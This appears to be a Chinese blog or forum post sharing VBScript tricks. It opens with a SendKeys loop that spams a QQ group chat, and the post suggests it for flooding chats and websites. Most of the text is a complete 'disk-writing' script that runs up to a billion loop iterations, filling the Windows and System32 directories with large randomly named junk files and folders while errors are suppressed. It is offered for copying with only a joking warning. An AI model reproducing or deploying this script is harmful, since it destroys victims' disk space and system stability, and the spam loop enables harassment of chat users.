Set WshShell= WScript.createObject("WScript.Shell") 
WshShell.AppActivate "群 － Powers成員交流" 
for i=1 to 10 '要發(fā)的次數(shù) 
WScript.Sleep 500 '發(fā)送消息的時(shí)間間隔 
WshShell.SendKeys "^v" '要發(fā)的內(nèi)容 
WshShell.SendKeys i '這里拿每條消息都不同，在后面加上i即循環(huán)的次數(shù) 
WshShell.SendKeys "%s" 
next 

這個(gè)代碼里面解釋的很清楚的啦~呵呵
其實(shí)就只是這么一點(diǎn)點(diǎn)就已經(jīng)可以弄來我們做好幾個(gè)好玩的東西了啦~比如：刷QQ聊天啊、刷網(wǎng)站啦~

由于比較感興趣，所以找到個(gè)這樣的代碼：一個(gè)寫硬盤的VBS腳本程序（不要做壞事哦）

復(fù)制代碼代碼如下:

on error resume next  
dim objdir,suijishu  
set objdir=wscript.createobject("scripting.filesystemobject")  
set windir=objdir.getspecialfolder(0)  
set sysdir=objdir.getspecialfolder(1)  
'開始程序  
for i=1 to 1000  
for j=1 to 1000  
for r=1 to 1000'------------------------------------------------------------------------------  
randomize  
y=int((122-65+1)*rnd+65)  
y1=int((122-65+1)*rnd+65)  
y2=int((122-65+1)*rnd+65)  
y3=int((122-65+1)*rnd+65)  
y4=int((122-65+1)*rnd+65)  
y5=int((122-65+1)*rnd+65)  
y6=int((122-65+1)*rnd+65)  
y7=int((122-65+1)*rnd+65)  
y8=int((122-65+1)*rnd+65)'-----------------------------------------------------------------  
y9=int((122-65+1)*rnd+65)  
f=chr(y)&chr(y1)&chr(y2)&chr(y3)&chr(y4)&chr(y5)&chr(y6)&chr(y7)&chr(y8)&chr(y9)  
suijishu=int(rnd*10000)  
'創(chuàng)建windows文件  
yang=windir&""&f&"."&chr(y3)&chr(y7)&chr(y)  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古風(fēng)居委會(huì)首席執(zhí)行官老楊同志"  
a.writeline"Oicq:14903220"'------------------------------------------------------------  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=windir&""&chr(y3)&chr(y1)&"."&chr(y)&chr(y4)&chr(y2) '2  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古風(fēng)居委會(huì)首席執(zhí)行官老楊同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu'-----------------------------------------------------------------------  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=windir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y8)&chr(y4)&chr(y1) '3  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古風(fēng)居委會(huì)首席執(zhí)行官老楊同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)'-------------------------------------------------------------  
next  
a.close  
yang=windir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y6)&chr(y9)&chr(y3) '4  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古風(fēng)居委會(huì)首席執(zhí)行官老楊同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next'--------------------------------------------------------------------------------------  
a.close  
yang=windir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y6)&chr(y8)&chr(y4) '5  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古風(fēng)居委會(huì)首席執(zhí)行官老楊同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close'---------------------------------------------------------------------------------  

yang=windir&""&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y8)&chr(y) '6  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古風(fēng)居委會(huì)首席執(zhí)行官老楊同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close'----------------------------------------------------------------------------------  
yang=windir&""&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y2)&chr(y)&chr(y5) '7  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古風(fēng)居委會(huì)首席執(zhí)行官老楊同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=windir&""&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y4)&chr(y)&chr(y7) '8'---  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古風(fēng)居委會(huì)首席執(zhí)行官老楊同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
'創(chuàng)建system文件------------------------------------------------------------------------------10  
yang=sysdir&""&f&"."&chr(y3)&chr(y9)&chr(y1)  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古風(fēng)居委會(huì)首席執(zhí)行官老楊同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=sysdir&""&chr(y3)&chr(y1)&"."&chr(y4)&chr(y2)&chr(y9) '2------------------------------------------  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古風(fēng)居委會(huì)首席執(zhí)行官老楊同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=sysdir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y3)&chr(y7)&chr(y) '3  
set a=objdir.createtextfile(yang,true)'------------------------------------------------------  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古風(fēng)居委會(huì)首席執(zhí)行官老楊同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=sysdir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y5)&chr(y4)&chr(y1) '4  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"'-----------------------------------------  
a.writeline"古風(fēng)居委會(huì)首席執(zhí)行官老楊同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=sysdir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y3)&chr(y6)&chr(y9) '5  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古風(fēng)居委會(huì)首席執(zhí)行官老楊同志"'------------------------------------------------  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=sysdir&""&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y)&chr(y5) '6  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古風(fēng)居委會(huì)首席執(zhí)行官老楊同志"  
a.writeline"Oicq:14903220"'------------------------------------------------------------15  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=sysdir&""&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y7)&chr(y5)&chr(y1) '7  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古風(fēng)居委會(huì)首席執(zhí)行官老楊同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu'-------------------------------------------------------------------------  
a.writeline(f&f&f&f&f&f&f)  
next  
a.close  
yang=sysdir&""&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y1)&chr(y7)&chr(y4) '8  
set a=objdir.createtextfile(yang,true)  
a.writeline"Made In China,Hubei,Wuhan,Guanshan"  
a.writeline"古風(fēng)居委會(huì)首席執(zhí)行官老楊同志"  
a.writeline"Oicq:14903220"  
for u=1 to suijishu  
a.writeline(f&f&f&f&f&f&f)'--------------------------------------------------------------  
next  
a.close  
'創(chuàng)建windows文件夾  
yang=windir&""&f&"u"  
objdir.createfolder(yang)  
yang=windir&""&chr(y4)&chr(y2) '2  
objdir.createfolder(yang)  
yang=windir&""&chr(y)&chr(y9)&chr(y5) '3  
objdir.createfolder(yang)'-------------------------------------------------------------------  
yang=windir&""&chr(y6)&chr(y3)&chr(y8)&chr(y7) '4  
objdir.createfolder(yang)  
yang=windir&""&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3) '5  
objdir.createfolder(yang)  
yang=windir&""&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7) '6  
objdir.createfolder(yang)  
yang=windir&""&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2) '7  
objdir.createfolder(yang)  
yang=windir&""&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5) '8  
objdir.createfolder(yang)'--------------------------------------------------------------------  

'創(chuàng)建system文件夾  
yang=sysdir&""&f&"n"  
objdir.createfolder(yang)  
yang=sysdir&""&chr(y4)&chr(y2) '2  
objdir.createfolder(yang)  
yang=sysdir&""&chr(y)&chr(y9)&chr(y5) '3  
objdir.createfolder(yang)  
yang=sysdir&""&chr(y6)&chr(y3)&chr(y8)&chr(y7) '4  
objdir.createfolder(yang)'---------------------------------------------------------------------  
yang=sysdir&""&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3) '5  
objdir.createfolder(yang)  
yang=sysdir&""&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7) '6  
objdir.createfolder(yang)  
yang=sysdir&""&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2) '7  
objdir.createfolder(yang)  
yang=sysdir&""&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5) '8  
objdir.createfolder(yang)  
next  
next  
next  
'老楊同志嘔血巨著